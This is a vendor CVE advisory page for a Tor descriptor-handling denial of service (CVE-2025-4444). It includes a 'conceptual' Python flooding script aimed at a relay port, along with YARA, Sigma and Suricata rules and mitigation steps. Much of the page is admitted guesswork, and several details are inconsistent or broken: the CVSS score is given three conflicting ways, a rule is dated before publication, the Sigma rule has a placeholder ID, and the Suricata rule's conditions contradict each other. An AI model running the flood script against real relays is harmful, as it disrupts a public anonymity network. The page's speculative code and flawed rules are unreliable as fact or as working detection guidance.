☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-4444

CVE-2025-4444 Denial of Service in Tor
📅 PUBLISHED: 2025-09-18 13:58 UTC 🔄 UPDATED: 2026-09-24 06:01 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4444 is a resource consumption vulnerability in the Tor network's Onion Service Descriptor Handler, affecting versions up to 0.4.7.16 and 0.4.8.17. The flaw allows a remote attacker to cause excessive resource consumption through manipulation of the descriptor handling process, potentially leading to denial of service (DoS) conditions. The attack is considered difficult to exploit due to high complexity and low exploitability. The vendor recommends upgrading to versions 0.4.8.18 or 0.4.9.3-alpha to mitigate the issue. No public proof-of-concept or exploit code is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the description, a plausible vector would be:

  • Attack Vector (AV): Network (N) – The attack can be initiated remotely.
  • Attack Complexity (AC): High (H) – The attack requires significant skill or specific conditions.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is affected.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Resource consumption leads to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: Medium (estimated base score ~5.9). The high complexity and low exploitability reduce the immediate risk, but the potential for DoS against Tor relays or onion services is significant.

Deep Dive & Mechanics

The vulnerability resides in the Onion Service Descriptor Handler, a component responsible for processing and distributing descriptors for .onion services. Descriptors contain information about hidden service introduction points and public keys.

Root Cause: The handler fails to properly validate or limit the resources consumed when processing malformed or specially crafted descriptor requests. An attacker can send a series of requests that cause the handler to allocate excessive memory, CPU cycles, or network bandwidth, leading to resource exhaustion.

Attack Flow:

  1. The attacker identifies a Tor relay or onion service that processes descriptors.
  2. The attacker sends a crafted descriptor request (e.g., with oversized fields, recursive references, or high-frequency queries).
  3. The handler processes the request without proper bounds checking, consuming disproportionate resources.
  4. The target system becomes unresponsive or crashes, denying service to legitimate users.

Impact: Degradation or complete denial of service for the affected Tor node, potentially disrupting the anonymity network.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the patch likely involves adding input validation and resource limits in the descriptor handler.

Vulnerable Code (Conceptual):

// Vulnerable: No size limit on descriptor data
void handle_descriptor(char *data) {
    // Process data without checking length
    process_descriptor(data);
}

Patched Code (Conceptual):

// Patched: Enforce maximum descriptor size
#define MAX_DESC_SIZE 65536

void handle_descriptor(char *data, size_t len) {
    if (len > MAX_DESC_SIZE) {
        log_warn("Descriptor too large");
        return;
    }
    process_descriptor(data);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A Tor test network (e.g., using chutney or Docker-based Tor nodes).
  • Python with stem library for Tor control.

Exploit Script (Conceptual):

import socket
import time

def send_malformed_descriptor(target_ip, target_port):
    # Craft a descriptor with excessive data
    payload = b"\x00" * 1000000  # 1 MB of null bytes
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    sock.close()

# Launch multiple connections
for i in range(100):
    send_malformed_descriptor("192.168.1.100", 9001)
    time.sleep(0.1)

Expected Outcome: The target Tor node becomes unresponsive or crashes due to memory exhaustion.

Blue Team (Defense & Detection)

Mitigation Steps:

  1. Upgrade Tor to version 0.4.8.18 or 0.4.9.3-alpha.
  2. Implement rate limiting on descriptor requests using firewall rules or Tor configuration.
  3. Monitor resource usage (CPU, memory, network) on Tor relays.

Detection Rules:

  • Alert on high memory usage by the Tor process.
  • Monitor for unusually large descriptor payloads.

Indicators of Compromise (IOCs)

  • Network: Unusually large packets ( > 1 MB) to Tor ports (9001, 9050, etc.).
  • System: Tor process consuming > 90% CPU or memory.
  • Logs: Repeated "Descriptor too large" or "Out of memory" errors in Tor logs.
  • File: Temporary files in /tmp/ with excessive size (if descriptors are written to disk).

Detection Engineering

YARA Rule

rule CVE_2025_4444_Tor_Descriptor_DoS {
    meta:
        description = "Detects malformed Tor descriptor payloads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4444"
    strings:
        $descriptor_header = "HS_DESC" ascii wide nocase
        $large_payload = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
    condition:
        $descriptor_header and #large_payload > 1000
}

Sigma Rule

title: CVE-2025-4444 Tor Descriptor DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects excessive resource consumption in Tor descriptor handling
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/tor'
        CommandLine|contains: '--descriptor'
    condition: selection
falsepositives:
    - Legitimate high-load scenarios
level: high

Suricata Rule

alert tcp any any -> any 9001 (msg:"CVE-2025-4444 Tor Descriptor DoS Attempt"; flow:to_server; content:"|00 00 00 00|"; depth:4; byte_test:4,>,65536,0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade Tor to version 0.4.8.18 or 0.4.9.3-alpha.
  2. Workaround: If upgrade is not possible, restrict access to Tor ports using firewall rules (e.g., allow only known peers).
  3. Monitoring: Enable detailed logging for descriptor handling and set up alerts for abnormal resource usage.
  4. Long-term: Implement resource quotas in Tor configuration (e.g., MaxMemInQueues, MaxCircuitDirtiness).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4444/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.